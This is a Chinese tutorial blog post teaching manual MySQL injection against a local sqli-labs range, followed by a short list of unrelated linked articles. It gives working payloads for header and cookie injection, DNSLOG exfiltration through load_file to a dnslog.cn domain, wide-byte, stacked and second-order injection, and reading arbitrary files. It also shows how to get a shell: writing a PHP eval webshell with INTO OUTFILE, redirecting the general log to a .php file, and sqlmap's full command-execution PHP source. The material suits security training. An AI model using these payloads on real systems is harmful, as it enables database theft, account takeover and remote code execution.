网络安全进阶学习第十一课——MySQL手工注入(2)
文章目录
- 一、UA注入
- 1、原理
- 2、靶场演示:
- 1)一旦页面出现如下现状,就可以使用UA注入
- 2)BP抓包
- 3)修改User-Agent
- 二、referer注入
- 1、原理
- 2、靶场演示:
- 1)使用BP抓包
- 2)修改Referer
- 三、DNSLOG外带
- 1、使用场景
- 2、DNS
- 3、注入所需条件
- 4、使用方法
- 5、靶场演示:
- 1)生成一个DNS域名
- 2)开启MySQL中的secure_file_priv属性
- 3)使用BP进行操作
- 4)为什么要对查询的内容进行hex编码
- 四、cookie注入
- 1、注入的原理
- 2、靶场演示:
- 1)通过BP抓包下面的情况就存在cookie注入
- 2)寻找注入点,使用单引号测试
- 3)构造POC注入
- 五、宽字节注入
- 1、注入原理
- 2、靶场演示:
- 1)下面这种情况就存在宽字节注入
- 2)构造POC注入
- 六、堆叠注入
- 1、注入原理
- 2、联合注入和堆叠注入的区别
- 3、靶场模拟:
- 七、二次注入
- 1、注入原理
- 2、使用场景
- 3、靶场举例:
- 1)下面例子存在二次注入
- 2)创建一个新的账号
- 3)修改新账号的密码
- 4)退出后再次登录查看结果
- 5)语句讲解:
- 八、GETSHELL
- 1、利用SQL注入获取MYSQL数据库权限的条件
- 2、文件读写注入的原理
- 3、文件读写注入的条件
- 4、secure_file_priv选项
- 5、常见网站的绝对路径
- 6、路径获取常见方式
- 7、读取文件
- 1)使用的函数
- 2)路径注意点
- 3)一般使用联合注入来一起使用
- 4)靶场演示
- 8、写入文件
- 1)使用的函数
- 2)outfile函数注意点
- 3)靶场演示:
- 九、日志GETSHELL
- 1、前提条件:
- 2、具体步骤:
- 3、靶场演示(已知存在堆叠注入):
- 1)先查看靶场是否开启了日志:
- 2)使用堆叠注入开启日志
- 3)使用堆叠注入修改日志的路径
- 十、--os-shell(sqlmap)
- 1、原理
- 2、利用--os-shell命令的先决条件
- 3、靶场演示:
- 3.1、用来执行系统命令文件
- 3.2、上传文件的文件
一、UA注入
UA是用户代理(User-Agent)
的缩写,里面含有客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
1、原理
一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示。此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入
。
2、靶场演示:
1)一旦页面出现如下现状,就可以使用UA注入
页面上会对浏览器的版本进行辨别
2)BP抓包
正常情况
在UA添加单引号,引发报错
3)修改User-Agent
构造的POC,获取数据库名:
1' and updatexml(1,concat(0x7e,database()),1) and '
由于不知道是多少个参数,所以前面的单引号是用来闭合前面的,后面的单引号是用来闭合后面的,这里不能使用#来对后面的参数进行省略。
后续获取其他数据的方法和上一节的联合注入大同小异。
二、referer注入
1、原理
报文中referer就是
你的浏览器需要告诉服务器你是从哪个地方访问服务器的(来源)
,大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,一般会把数据插入到某张表中所以可以用报错注入
。
2、靶场演示:
这个靶场会记录来源的IP地址
1)使用BP抓包
正确输入的包
发生报错的数据包
2)修改Referer
构造的POC,获取数据库名:
’ and updatexml(1,concat(0x7e,database()),1) and ’
由于不知道是多少个参数,所以前面的单引号是用来闭合前面的,后面的单引号是用来闭合后面的,这里不能使用 #
来对后面的参数进行省略。
后续获取其他数据的方法和上一节的联合注入大同小异。
三、DNSLOG外带
1、使用场景
通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉
,这就影响了我们的测试进度,也许你也可以使用代理池。
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
2、DNS
dns在解析的时候会留下记录。
简单来说,当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息。
3、注入所需条件
-
1、dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,该属性值必须为空
(等于号后面没有任何内容)。 -
2、使用
LOAD_FILE()函数
:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
语法为:load_file(file_name),其中file_name是文件的完整路径 -
3、所以需要
root权限
,并且服务器要为Windows操作系统
。
4、使用方法
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。
5、靶场演示:
1)生成一个DNS域名
先在DNSlog平台上随机生成一个本地IP的DNS域名:
29lrdw.dnslog.cn
本地ping一下该DNS域名的随机子域名:
这里我随机输入的asd就成功带出来了。
2)开启MySQL中的secure_file_priv属性
然后重启MySQL
3)使用BP进行操作
利用注入语句获取数据库名,使用的POC:
http:// 192.168.50.137:9006/Less-1/?id=1'+and+(select+load_file(concat('\\\\',(select+database()),'.29lrdw.dnslog.cn/qwe')))--+
返回DNSLOG页面查看
这里就把数据库名给带出来了
获取当前用户名,使用的POC:
http:// 192.168.50.137:9006/Less-1/?id=1'+and+(select+load_file(concat('\\\\',(select+ hex(user())),'.29lrdw.dnslog.cn/qwe')))--+
返回DNSLOG页面查看
使用hex解码
这样字就成功获得当前的用户名了。
4)为什么要对查询的内容进行hex编码
如果我们要查询的用户名中存在特殊字符:如!@#$%^&
。最后在请求DNS服务器时变成:!@#$%^&*. 29lrdw.dnslog.cn。存在特殊字符的域名无法解析
。因此在DNS日志中也找不到我们查询的数据。因此需要编码后进行查询,例如上述的用户名是root@localhost,存在特殊字符@,这个是无法DNS服务器是无法解析的,这就需要hex编码
后查询出结果再解码。
在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后再带入查询。
四、cookie注入
1、注入的原理
对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie方式提交,而一般的注入我们是使用get或者post方式提交。
(get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。)
cookie注入:修改自身cookie , 后台获取到这个cookie后 , 会直接拿去数据库里面进行比较 , 比较的时候就有可能注入。
注意:该注入一般可以联合XSS攻击一起使用
2、靶场演示:
1)通过BP抓包下面的情况就存在cookie注入
2)寻找注入点,使用单引号测试
在cookie后面的admin添加一个单引号出现报错,那么,这里就存在注入
3)构造POC注入
Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),1) #
注意上面的POC是使用#
来忽略后面的内容,而不是使用 - -
五、宽字节注入
1、注入原理
数据库使用GBK编码
的时候,会将两个字符合并成一个中文。特殊值字符如单引号都会被转义。如: ' -> \' (%27 -> %5c%27)
这时我们就可以在单引号( ' )前面
添加一个随机的GBK编码,例如:%df,该编码会把斜杠( \ )吃掉,从而把后面的单引号( ’ )解放出来,%df%27在GBK编码中会变成%df%5c%27
,这时候%df%5c会合并成一个汉字
,剩下的%27( ' )
就被独立解放出来了。
2、靶场演示:
1)下面这种情况就存在宽字节注入
添加一个'
,会自动添加\
转义这种方法来进行过滤。
2)构造POC注入
http:// 192.168.43.110:9006/Less-32/?id=-1%df%27 union select 1,database(),user()--+
这样子就把数据库名和用户名获取到了。
注:
这里是假设已经知道了该表只有3列的前提,具体前置过程可以参数前面的联合注入。
六、堆叠注入
1、注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入。
2、联合注入和堆叠注入的区别
区别就在于union 或者union all执行的语句类型是有限的,联合注入用来执行查询语句
,而堆叠注入可以执行的是任意的语句
。
3、靶场模拟:
如下图构造POC:
http:// 192.168.43.110:9006/ /Less-38/?id=1'; insert into users(id,username,password)values(100,'kkkddd','kkkddd')--+
接着返回靶场查看数据库
这样子就把创建用户的MySql命令注入成功了。
七、二次注入
1、注入原理
输入的内容会被转换成字符串形式存储到数据库,从而会使得无法执行。那么我们就可以先把POC存储进数据库
,然后把存在数据里面的POC调取出来执行,从而达到注入的效果。
一般情况下,账户名是不允许输入 # @ \ ’ 等特殊符号的,但可以做一个尝试,假如真的尝试出来了,那就可以尝试进行二次注入了。
2、使用场景
在知道某个账号名的存在,而想修改该账号对应的密码。例如我知道存在一个账号叫:admin
,然后我就创建一个账号叫:admin'#
,同时修改 admin’# 账号的密码,从而达到修改 admin 的密码。
3、靶场举例:
1)下面例子存在二次注入
这里利用admin账号
正常登录,我返回的数据包长度是265
上面无论我在login_user后面添加一个单引号还是两个单引号,或者其他字符,都会发生报错,也就是说输入的内容会全部变换成字符串形式来进行存储、查询。
2)创建一个新的账号
新账号名:admin'#
新账号密码:123456
登录成功。
3)修改新账号的密码
账号名:admin'#
新账号密码:111111
4)退出后再次登录查看结果
尝试登录admin'#
账号,发现新改的密码:111111无法登录,还是得使用原来得旧密码123456。
尝试登录admin
账号,发现原来的密码:admin无法登录,密码变成了:111111。
5)语句讲解:
这里是使用了下面的SQL语句:
UPDATE users SET PASSWORD=’111111’ where username='admin'#'
and password=’123456’;
这里不难看出,调用时#
后面的内容时全部忽略的,变成:
UPDATE users SET PASSWORD=’111111’ where username='admin'
原本时修改admin'#
账号,就变成修改admin
账号了。
八、GETSHELL
1、利用SQL注入获取MYSQL数据库权限的条件
- 1)root用户最高权限
- 2)知道网站的绝对路径
- 3)
secure_file_priv
=为空或者在网站的根目录下
2、文件读写注入的原理
就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
3、文件读写注入的条件
高版本的MYSQL添加了一个新的特性secure_file_priv
,该选项限制了mysql导出文件的权限
4、secure_file_priv选项
-
1)secure_file_priv=
代表对文件读写没有限制 -
2)secure_file_priv=NULL
代表不能进行文件读写 -
3)secure_file_priv=d :/phpstudy /mysql/data
代表只能对该路径下文件进行读写
命令:
show global variables like '%secure%'
#查看mysql全局变量的配置
5、常见网站的绝对路径
-
1)Windows常见
-
2)Linux常见
6、路径获取常见方式
报错显示,遗留文件,漏洞报错,平台配置文件等
7、读取文件
1)使用的函数
使用load_file()
读取文件
2)路径注意点
路径不能使用反斜杠(\)
。可以使用斜杠(/)
、双反斜杠(\\)
、0x,char
转换的字符
3)一般使用联合注入来一起使用
4)靶场演示
-
4.1、在靶机创建文件
在C:\phpstudy_pro\WWW\sqli-labs-master目录下建立一个文件名1.txt,内容是:i am 1.txt
-
4.2、构造POC读取文件
在靶场使用SQL注入读取文件,POC是:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,load_file('C:/phpstudy_pro/WWW/sqli-labs-master/1.txt')
,3–+
同理,该方法可以读取到任意的文件。一般实战中我们可以使用这种方法来读取网站的配置文件和日志文件。
注意:上面的路径不能使用反斜杠(\),只能使用斜杠(/)和双反斜杠(\\)。
8、写入文件
1)使用的函数
使用函数 into outfile
(能写入多行,按格式输出)和 into Dumpfile
(只能写入一行,且没有脏数据)
2)outfile函数注意点
outfile
后面本能接0x开头或者char转换以后的路径,只能是单引号路径
3)靶场演示:
3.1、构造POC写入文件
现在要在C:\phpstudy_pro\WWW\sqli-labs-master目录下创建一个文件3.txt,并写入内容,POC是:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,‘helloword’,3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/3.txt'--+
现在去写入目录查看
这里就把查询的内容全部都写入了。
注意:
假如写入的文件名已经存在,是会写入失败的。
3.2、尝试写入shell
构造的POC:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,'<?php%20@eval($_POST[\'x\']);?>'
,3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/4.php'--+
使用shell工具尝试连接:
连接成功。
返回查看写入文件:
3.3、into outfile 和 into Dumpfile的区别
- into outfile无论怎样写入都会存在空格等脏数据
- into Dumpfile会自动清楚空格等脏数据
如上面例子只想留下单纯的php文本,而不想要其他脏文本,就可以使用into Dumpfile,并且把1、3等字符换成‘’(两个单引号的空字符)
九、日志GETSHELL
1、前提条件:
- 1、知道网站的
绝对路径
- 2、网站存在
堆叠注入
。 - 3、拥有
root权限
2、具体步骤:
- 1、查询日志路径:show variables like ‘%general%’;
- 2、开启日志:set global general_log = on; 这个默认时关闭的;
- 3、设置日志路径:set global general_log_file = ‘D:\phpstudy_pro\WWW\shell.php’;
- 4、随便把shell命令写入到日志中,然后使用工具连接shell
3、靶场演示(已知存在堆叠注入):
1)先查看靶场是否开启了日志:
show variables like ‘%general%’;
这里默认是关闭的。
2)使用堆叠注入开启日志
set global general_log = on;
再返回靶场查看是否已开启:
这里显示已经开启了。
3)使用堆叠注入修改日志的路径
set global general_log_file = ‘D:\phpstudy_pro\WWW\shell.php’;
返回靶场查看
明显日志路径已经改了。
4、随便在URL构造shell让他记录进日志
返回查看日志
这样子shell就成功写入到日志里面了。
十、–os-shell(sqlmap)
1、原理
–os-shell就是使用 udf 提权获取WebShell。也是通过 into oufile 向服务器写入两个文件,一个可以直接执行系统命令
,一个进行上传文件
此为sqlmap的一个命令
2、利用–os-shell命令的先决条件
- 1、要求为DBA,–is-dba(phpstudy搭建的一般为DBA)
- 2、secure_file_priv没有具体值
- 3、知道网站的绝对路径
- 4、GPC为off,php主动转义的功能关闭
3、靶场演示:
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell
sqlmap 在指定的目录生成了两个文件(文件名是随机的,并不是固定的),这里就生成了如下两个文件:
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件
3.1、用来执行系统命令文件
tmpbeewq.php的文件内容为:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
尝试执行系统命令:
3.2、上传文件的文件
使用tmpuqvgw.php上传文件
我们上传一个php的一句话后门
相关文章:

网络安全进阶学习第十一课——MySQL手工注入(2)
文章目录 一、UA注入1、原理2、靶场演示:1)一旦页面出现如下现状,就可以使用UA注入2)BP抓包3)修改User-Agent 二、referer注入1、原理2、靶场演示:1)使用BP抓包2)修改Referer 三、DN…...
数据库和ORM如何优雅的添加字段?
RT,业务需要为某个实体添加字段,如何在生成了Mybatis XML(包含了手写的部分联合查询)的情况下优雅的添加字段呢? 作者:方小葱 链接:https://www.zhihu.com/question/284511416/answer/43812337…...
QT ubuntu下开发视频播放 FFmpeg
ubuntu 安装FFmpeg T113VideoDemo.pro #------------------------------------------------- # # Project created by QtCreator 2023-07-28T11:45:22 # #-------------------------------------------------QT core guigreaterThan(QT_MAJOR_VERSION, 4): QT widget…...

8.3一日总结
1.远程仓库的使用 a.克隆远程仓库 1>.在桌面克隆远程仓库 git clone 仓库名 2>.修改仓库内容 3>添加目录 git add. 4>提交: git commit -m 完成登录功能 5>推送提交远程仓库 : git push origin master -u 6>更改推送:git push(简写形式) 需要先添加,再提交,最…...

load、unload和pagehide、pageshow
一、load、unload和pagehide、pageshow的主要应用 1)load 和 unload 事件监听web页面的进入和离开,一般用于页面的首次加载、刷新和关闭等操作的监听; 2)pageshow 和 pagehide 事件多用于监听浏览器的前进和后退等。 二、pagesh…...
【面试问题12】
1.吞吐量和并发区别? 并发请求树/单位时间一般是s 吞吐量 并发/平均响应时间 常用的吞吐量指标有qps,tps 2.mysql数据是怎么存储的? 存储在data目录下,数据库作为文件夹,文件夹里面有.ibd文件,一个表一个ib…...

高性能网络框架笔记
目录 TCP粘包、分包惊群断开连接,TCP怎么检测的?大量的close wait,如何解 ?双方同时调用close水平触发和边沿触发的区别 TCP粘包、分包 解决:1.应用层协议头前面pktlen;2.为每一个包加上分隔符;(\r\n&…...

leetcode 738. 单调递增的数字
2023.8.4 这题用暴力法会超时,我就没试了,采用了个挺巧的方法,为了方便需要先将整数n转换为字符串的形式,然后从后向前遍历,当两个数字非递增时,将前一个数字--,后一个数字的位置记录在index中&…...

FPGA项目设计:数字时钟
项目要求: 设计一个数字时钟,数码管前两位显示小时,数码管中间两位显示分钟,数码管后面两位显示秒。 项目设计: 系统框架图: 计数模块时序图: 代码实现: 计数模块: /…...

科技云报道:向量数据库:AI时代的下一个热点
科技云报道原创。 最近,又一个概念火了——向量数据库。 随着大模型带来的应用需求提升,4月以来多家海外知名向量数据库创业企业传出融资喜讯。 4月28日,向量数据库平台Pinecone宣布获得1亿美元(约7亿元)B轮融资&am…...

【更新】119所院校考研重点勾画更新预告!
截至目前,我已经发布了47篇不同院校的择校分析。发布了87套名校信号考研真题以及119所不同院校的考研知识点重点勾画。 另外为了更好服务已经报名的同学,24梦马全程班也到了收尾的阶段。即将封班!需要报名的同学抓紧啦! 去年开始…...
【Leetcode】(自食用)LRU算法(哈希链表法)
step by step. 题目: 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类: LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存int get(int key) 如果关键字 key 存在于缓存中,则返回关键…...
robots.txt 如何禁止蜘蛛(百度,360,搜狗,谷歌)搜索引擎获取页面内容
什么是蜘蛛抓取 搜索引擎使用spider程序自动访问互联网上的网页并获取网页信息。spider在访问一个网站时,会首先会检查该网站的根域下是否有一个叫做robots.txt的纯文本文件。您可以在您的网站中创建一个纯文本文件robots.txt,在文件中声明该网站中不想…...

JVM 学习—— 类加载机制
前言 在上一篇文章中,荔枝梳理了有关Java中JVM体系架构的相关知识,其中涉及到的有关Java类加载机制的相关知识并没有过多描述。那么在这篇文章中,荔枝会详细梳理一下有关JVM的类加载机制和双亲委派模型的知识,希望能够帮助到有需要…...
C#实现int类型和字节流的相互在转化
通过TCP协议进行数据传输时,需要将所有传输的内容转为字节流,这里就用到了将int型的数据转为字节流的。代码如下: public static byte[] BytesConvertToInt(int vel) {byte[] hex new byte[4];hex[3] (byte)(vel >> 24) & 0xff)…...
Centos设置固定IP地址,外网访问
查看网络信息 一般会看到enp0s3的网络配置 ip address切换至网络配置路径 cd /etc/sysconfig/network-scripts/编辑配置 vi ifcfg-enp0s3 编辑配置 主要修改 静态ip:BOOTPROTOdhcp --> OOTPROTOstaticDNS(訪問外網):DNS1114.114.114.114本机ip: 192.168.70.121子网掩码…...

非线性弹簧摆的仿真(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...

css实现文字颜色渐变+阴影
效果 代码 <div class"top"><div class"top-text" text"总经理驾驶舱">总经理驾驶舱</div> </div><style lang"scss" scoped>.top{width: 100%;text-align: center;height: 80px;line-height: 80px;fo…...
C++学习笔记总结练习:关联容器
关联容器 0 关联容器概述 关联容器与顺序容器的区别 关联容器和顺序容器有着根本不同。关联容器中的元素是按关键字来把偶才能和访问的。书序容器中的元素是按他们在容器中的位置来顺序保存和访问的。 两个基础类型 map:键值对key-value。关键字是索引,值表示与…...
TypeScript技能总结(二)
typescript是js的超集,目前很多前端框架都开始使用它来作为项目的维护管理的工具,还在不断地更新,添加新功能中,我们学习它,才能更好的在的项目中运用它,发挥它的最大功效 //readonly 只能修饰属性&#x…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...

聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)
参考官方文档:https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java(供 Kotlin 使用) 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台
🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...

C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...

Linux 中如何提取压缩文件 ?
Linux 是一种流行的开源操作系统,它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间,使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的,要在 …...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...